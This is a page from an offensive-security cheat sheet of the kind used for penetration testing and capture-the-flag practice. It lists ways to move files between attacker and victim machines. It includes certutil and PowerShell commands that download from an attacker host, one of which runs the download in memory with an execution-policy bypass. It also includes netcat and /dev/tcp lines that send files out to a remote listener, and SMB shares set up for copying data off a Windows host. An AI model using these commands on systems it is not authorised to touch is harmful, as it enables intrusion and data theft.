Cheat Sheet Hacking
  • 🌐Generic Ideas
    • File Transfer
    • Reverse Shell
    • Cracking Tricks
    • Tunneling and Port Forwarding
    • Reversing
    • OSINT
    • Phishing
  • 🐕‍🦺Port enumeration
    • Reconnaissance
    • 53 - DNS
    • 80,443 - Web
      • Identify php.ini file used
      • Exploitation
        • File Upload
        • XXS
    • 445 - SMB
    • 389, 636, 3268 - LDAP(S)
  • LINUX THINGS
    • Enumeration
    • Privilege Escalation
      • Writable $PATH
  • WINDOWS THINGS
    • Enumeration
    • Useful Commands
    • Active Directory Methodology
      • Commands to create AD environment
      • Attacks
        • Kerberos
          • User enumeration
          • ASREP-Roast
          • Kerberoasting
          • ASREP-Roast VS Kerberoasting
          • Golden Ticket
          • Resource Based Constrained Delegation
        • Secrets dump
        • Pass The Hash
        • Dump NTDS
        • Tickets
          • TGT
        • NTML Password Spray
        • LDAP Authentication
          • LDAP Pass-back
          • Rogue LDAP Server
        • SMB Relay (LLNMR, NTB-NS & WPAD)
        • NTLM Relay
        • Tools to exploit AD things
        • SCF Files
      • Kerberos
      • SAM & LSA secrets
      • Enumeration
        • BloodHound
        • PowerView
          • CheatSheet of Commands
        • Set DNS & DOMAIN
      • Resources
      • RunAs
      • Post Explotation
        • Persistence
        • Mimikatz
      • Common used tools
  • 🕳️Pivoting
    • Port Forwarding
    • Socks Forwarding
    • Routing
    • Web Fuzzing
    • Transfer files
    • Metasploit
      • Single Pivot
      • Double Pivot
    • Burp Suite
  • 🎛️Hardware
    • Physical attacks
  • 🌕Buffer Overflow
    • Introduction
    • Stack-Based
      • Introduction
        • Spiking
        • Fuzzing
        • Find Offset
        • Overwrite EIP
        • Find module
        • Find Badchars
        • Shellcode
  • 🐳Docker
    • Commands
    • Practical examples
  • 💡Useful things
    • Burp Suite
      • Proxy Activation
    • Linux Commands
    • Recreate multipart/form-data request
      • Python
      • HTML & netcat
    • TTY
    • Templates for reports (exams)
    • Tmux
    • Other cheat sheets
Powered by GitBook
On this page
  • From Linux to Windows
  • certutil.exe
  • Using PowerShell
  • Using a shared folder
  • From Linux to Linux
  • netcat (I)
  • netcat (II)
  • netcat (III)
  • Windows to Linux
  • Using a shared folder
  • Validate integrity file
  1. Generic Ideas

File Transfer

How to transfer files with Linux and Windows

From Linux to Windows

Establish a web server with Python in the path where the desired file is:

python3 -m http.server 8000
python2.7 -m SimpleHTTPServer 8000

certutil.exe

certutil.exe -f -urlcache -split http://10.10.10.10:8000/file file

Using PowerShell

powershell -exec bypass -nop -c "(New-ObjectNet.WebClient).DownloadFile('http://10.10.10.10:8000/file')
powershell IWR -uri http://10.10.10.10:8000/file -OutFile C:\\Users\carlos.rino\Desktop\file
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.10.10:8000/file')
Invoke-WebRequest http://10.10.10.10:8000/file -o file          

Using a shared folder

Serve the file:

smbserver.py mysharedfolder $(pwd)
smbserver.py mysharedfolder $(pwd) -username lanz -password lanz321
smbserver.py mysharedfolder $(pwd) -smb2support -username lanz -password lanz321

Upload the file:

net use \\10.10.10.10\mysharedfolder /u:lanz lanz321
net use Y: \\10.10.10.10\mysharedfolder /u:lanz lanz321
net view \\10.10.10.10
copy \\10.10.10.10\mysharedfolder\file file

From Linux to Linux

netcat (I)

Origin machine:

nc -lvp 4450 < file

Destination machine:

nc 10.10.10.10 4450 > file

netcat (II)

Origin machine:

nc -lvp 4450 < file

Destination machine:

cat < /dev/tcp/10.10.10.10/4450 > file

netcat (III)

Destination machine:

nc -lvp 4450 > file

Origin machine:

cat file > /dev/tcp/10.10.10.10/4450

Windows to Linux

Using a shared folder

Serve the file:

smbserver.py mysharedfolder $(pwd)
smbserver.py mysharedfolder $(pwd) -username lanz -password lanz321
smbserver.py mysharedfolder $(pwd) -smb2support -username lanz -password lanz321

Copy the file:

net use \\10.10.10.10\mysharedfolder /u:lanz lanz321
net use Y: \\10.10.10.10\mysharedfolder /u:lanz lanz321
net view \\10.10.10.10
dir Y:\
copy file.zip \\10.10.10.10\mysharedfolder\file.zip

Validate integrity file

md5sum file_name
NextReverse Shell

Last updated 5 months ago

🌐